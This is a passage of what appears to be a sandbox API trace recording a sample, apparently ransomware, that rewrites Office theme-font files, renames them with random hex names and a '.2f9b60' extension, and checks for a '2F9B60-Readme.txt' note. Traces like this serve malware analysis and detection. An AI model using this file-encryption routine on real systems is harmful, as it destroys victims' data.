BaseAddress=0x202acb00) returned 1 Thread: id = 1423 os_tid = 0x18a4 [0119.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml")) returned 0x20 [0120.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", dwFileAttributes=0x20) returned 1 [0120.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1034 [0120.996] GetFileSizeEx (in: hFile=0x1034, lpFileSize=0x3fbafdc0 | out: lpFileSize=0x3fbafdc0*=3589) returned 1 [0120.996] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0xe01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.996] ReadFile (in: hFile=0x1034, lpBuffer=0x3fbafd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fbafd88, lpOverlapped=0x0 | out: lpBuffer=0x3fbafd40*, lpNumberOfBytesRead=0x3fbafd88*=0x4, lpOverlapped=0x0) returned 1 [0124.008] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0124.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a70 [0124.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7dd0 [0124.008] NtQuerySystemTime (in: CurrentTime=0x3fbafc80 | out: CurrentTime=0x3fbafc80*=132462177293938000) returned 0x0 [0124.008] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x3da0437a [0124.008] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x5906b573 [0124.008] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x40ac98f8 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x44eb20b [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x15dcfd6c [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0xacc6e04 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x504199d0 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x22b5050b [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x3950997e [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x3b081883 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x402d37ac [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x5f7f900 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x5940009a [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x14907dc3 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x645ca5c2 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x514611cd [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x43cd6cec [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x2456e838 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x7cb1997c [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0xb92e430 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x7c07045b [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x14fe79c4 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x249b8a7b [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x1476cd08 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x5243f770 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x24930ed5 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x785534df [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x665b824f [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x695ca455 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x2ce06dc7 [0124.009] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x1793bb43 [0124.010] RtlRandomEx (in: Seed=0x3fbafc70 | out: Seed=0x3fbafc70) returned 0x66ef43bd [0125.066] ReadFile (in: hFile=0x1034, lpBuffer=0x201500b0, nNumberOfBytesToRead=0xe05, lpNumberOfBytesRead=0x3fbafc70, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesRead=0x3fbafc70*=0xe05, lpOverlapped=0x0) returned 1 [0125.066] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.066] WriteFile (in: hFile=0x1034, lpBuffer=0x41b1b4e0*, nNumberOfBytesToWrite=0xe05, lpNumberOfBytesWritten=0x3fbafc74, lpOverlapped=0x0 | out: lpBuffer=0x41b1b4e0*, lpNumberOfBytesWritten=0x3fbafc74*=0xe05, lpOverlapped=0x0) returned 1 [0166.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2390 [0166.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2030 [0166.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2030) returned 1 [0166.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1b4e0) returned 1 [0166.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0166.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504090) returned 1 [0166.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0166.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a2030 [0166.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0166.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504090 [0166.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2060 [0166.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2060) returned 1 [0166.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a2060 [0166.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a20c0 [0166.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2090 [0166.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2090) returned 1 [0166.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504090) returned 1 [0166.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0166.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c173b0 [0166.102] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.102] WriteFile (in: hFile=0x1034, lpBuffer=0x42c173b0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3fbafd90, lpOverlapped=0x0 | out: lpBuffer=0x42c173b0*, lpNumberOfBytesWritten=0x3fbafd90*=0x106, lpOverlapped=0x0) returned 1 [0206.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0206.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2e70 [0206.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2e70) returned 1 [0206.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0eae0 [0206.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2e70 [0206.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2e40 [0206.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2e40) returned 1 [0206.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0206.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fb70 [0206.769] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="1f") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="28") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="93") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="7d") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="bb") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="18") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="8a") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="9c") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="cf") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="0e") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="8b") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="08") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="be") returned 2 [0206.769] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="de") returned 2 [0206.770] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="43") returned 2 [0206.770] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="19") returned 2 [0206.770] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="3d") returned 2 [0206.770] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="44") returned 2 [0206.770] RtlInitAnsiString (in: DestinationString=0x3fbafe08, SourceString="1f28937dbb18c18a9cf4cf0e8b08bede43193d44" | out: DestinationString="1f28937dbb18c18a9cf4cf0e8b08bede43193d44") [0206.770] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fbafdd8, SourceString="1f28937dbb18c18a9cf4cf0e8b08bede43193d44", AllocateDestinationString=1 | out: DestinationString="1f28937dbb18c18a9cf4cf0e8b08bede43193d44") returned 0x0 [0206.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9e40 [0206.770] wcscat (in: _Dest=0x4314eb40, _Source="1f28937dbb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\1f28937dbb") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\1f28937dbb" [0206.770] wcscat (in: _Dest=0x4314eb40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\1f28937dbb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\1f28937dbb.2f9b60" [0206.770] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\1f28937dbb.2f9b60", NtPathName=0x3fbafdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\1f28937dbb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310acd0 [0226.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310acd0) returned 1 [0226.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0226.396] NtQueryInformationFile (in: FileHandle=0x1034, IoStatusBlock=0x3fbafe18, FileInformation=0x3fbafe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3fbafe18, FileInformation=0x3fbafe28) returned 0x0 [0226.396] NtSetInformationFile (FileHandle=0x1034, IoStatusBlock=0x3fbafe18, FileInformation=0x3fbafe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314eb40) returned 1 [0233.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9e40) returned 1 [0233.743] FlushFileBuffers (hFile=0x1034) returned 1 [0235.022] CloseHandle (hObject=0x1034) returned 1 [0236.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64f20 [0236.633] wcscpy (in: _Dest=0x1cd64f20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0236.633] wcscat (in: _Dest=0x1cd64f20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0236.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0236.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64f20) returned 1 [0236.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bf50) returned 1 Thread: id = 1424 os_tid = 0x18a0 [0119.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml")) returned 0x20 [0120.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", dwFileAttributes=0x20) returned 1 [0120.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1040 [0120.993] GetFileSizeEx (in: hFile=0x1040, lpFileSize=0x3fb2f680 | out: lpFileSize=0x3fb2f680*=3603) returned 1 [0120.993] SetFilePointerEx (in: hFile=0x1040, liDistanceToMove=0xe0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.993] ReadFile (in: hFile=0x1040, lpBuffer=0x3fb2f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fb2f648, lpOverlapped=0x0 | out: lpBuffer=0x3fb2f600*, lpNumberOfBytesRead=0x3fb2f648*=0x4, lpOverlapped=0x0) returned 1 [0121.561] SetFilePointerEx (in: hFile=0x1040, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0121.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0121.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a70 [0121.561] NtQuerySystemTime (in: CurrentTime=0x3fb2f540 | out: CurrentTime=0x3fb2f540*=132462177269602000) returned 0x0 [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x1e9e6d6d [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x1ebd4800 [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x62bde5bf [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x1129f166 [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0xaf94fa [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x4021ef12 [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0xd610aab [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x51433dfa [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x7c7c594d [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x76d2d770 [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x1e11e500 [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x25c8d42f [0121.561] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x27af1134 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x404324f [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x246b9787 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x53adb23f [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x59b42d3f [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x1ee820c0 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x4033f7b3 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x7b622480 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x2d71b72e [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x46ea0971 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x612b581 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x6ce61843 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x5a966f9 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x457c56e1 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x6ed18489 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x5c7ea683 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x4aa3f9bf [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x6610e8 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x37b47635 [0121.562] RtlRandomEx (in: Seed=0x3fb2f530 | out: Seed=0x3fb2f530) returned 0x412bc278 [0124.007] ReadFile (in: hFile=0x1040, lpBuffer=0x20166910, nNumberOfBytesToRead=0xe13, lpNumberOfBytesRead=0x3fb2f530, lpOverlapped=0x0 | out: lpBuffer=0x20166910*, lpNumberOfBytesRead=0x3fb2f530*=0xe13, lpOverlapped=0x0) returned 1 [0124.007] SetFilePointerEx (in: hFile=0x1040, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.007] WriteFile (in: hFile=0x1040, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0xe13, lpNumberOfBytesWritten=0x3fb2f534, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x3fb2f534*=0xe13, lpOverlapped=0x0) returned 1 [0166.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2450 [0166.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2330 [0166.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2330) returned 1 [0166.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0166.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20166910) returned 1 [0166.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0166.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059920) returned 1 [0166.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2330 [0166.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059920 [0166.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0166.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2360 [0166.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2360) returned 1 [0166.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2360 [0166.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a23c0 [0166.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2390 [0166.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2390) returned 1 [0166.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0166.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059920) returned 1 [0166.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42c174c0 [0166.097] SetFilePointerEx (in: hFile=0x1040, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.098] WriteFile (in: hFile=0x1040, lpBuffer=0x42c174c0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3fb2f650, lpOverlapped=0x0 | out: lpBuffer=0x42c174c0*, lpNumberOfBytesWritten=0x3fb2f650*=0x104, lpOverlapped=0x0) returned 1 [0206.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0206.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a40 [0206.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7a40) returned 1 [0206.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0eae0 [0206.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a40 [0206.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0206.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0206.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0206.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced7d10 [0206.778] sprintf (in: _Dest=0x1ced7d10, _Format="%c%c" | out: _Dest="55") returned 2 [0206.778] sprintf (in: _Dest=0x1ced7d12, _Format="%c%c" | out: _Dest="8d") returned 2 [0206.778] sprintf (in: _Dest=0x1ced7d14, _Format="%c%c" | out: _Dest="b3") returned 2 [0206.778] sprintf (in: _Dest=0x1ced7d16, _Format="%c%c" | out: _Dest="a9") returned 2 [0206.778] sprintf (in: _Dest=0x1ced7d18, _Format="%c%c" | out: _Dest="43") returned 2 [0206.778] sprintf (in: _Dest=0x1ced7d1a, _Format="%c%c" | out: _Dest="d9") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d1c, _Format="%c%c" | out: _Dest="85") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d1e, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d20, _Format="%c%c" | out: _Dest="c2") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d22, _Format="%c%c" | out: _Dest="b6") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d24, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d26, _Format="%c%c" | out: _Dest="ce") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d28, _Format="%c%c" | out: _Dest="0b") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d2a, _Format="%c%c" | out: _Dest="b8") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d2c, _Format="%c%c" | out: _Dest="5a") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d2e, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d30, _Format="%c%c" | out: _Dest="02") returned 2 [0206.779] sprintf (in: _Dest=0x1ced7d32, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.779] RtlInitAnsiString (in: DestinationString=0x3fb2f6c8, SourceString="558db3a943d9852cc2b60dce0bb85a0d022c" | out: DestinationString="558db3a943d9852cc2b60dce0bb85a0d022c") [0206.779] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fb2f698, SourceString="558db3a943d9852cc2b60dce0bb85a0d022c", AllocateDestinationString=1 | out: DestinationString="558db3a943d9852cc2b60dce0bb85a0d022c") returned 0x0 [0206.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x431f9ea0 [0206.780] wcscat (in: _Dest=0x4314ebf0, _Source="558db3a94" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\558db3a94") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\558db3a94" [0206.780] wcscat (in: _Dest=0x4314ebf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\558db3a94.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\558db3a94.2f9b60" [0206.780] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document 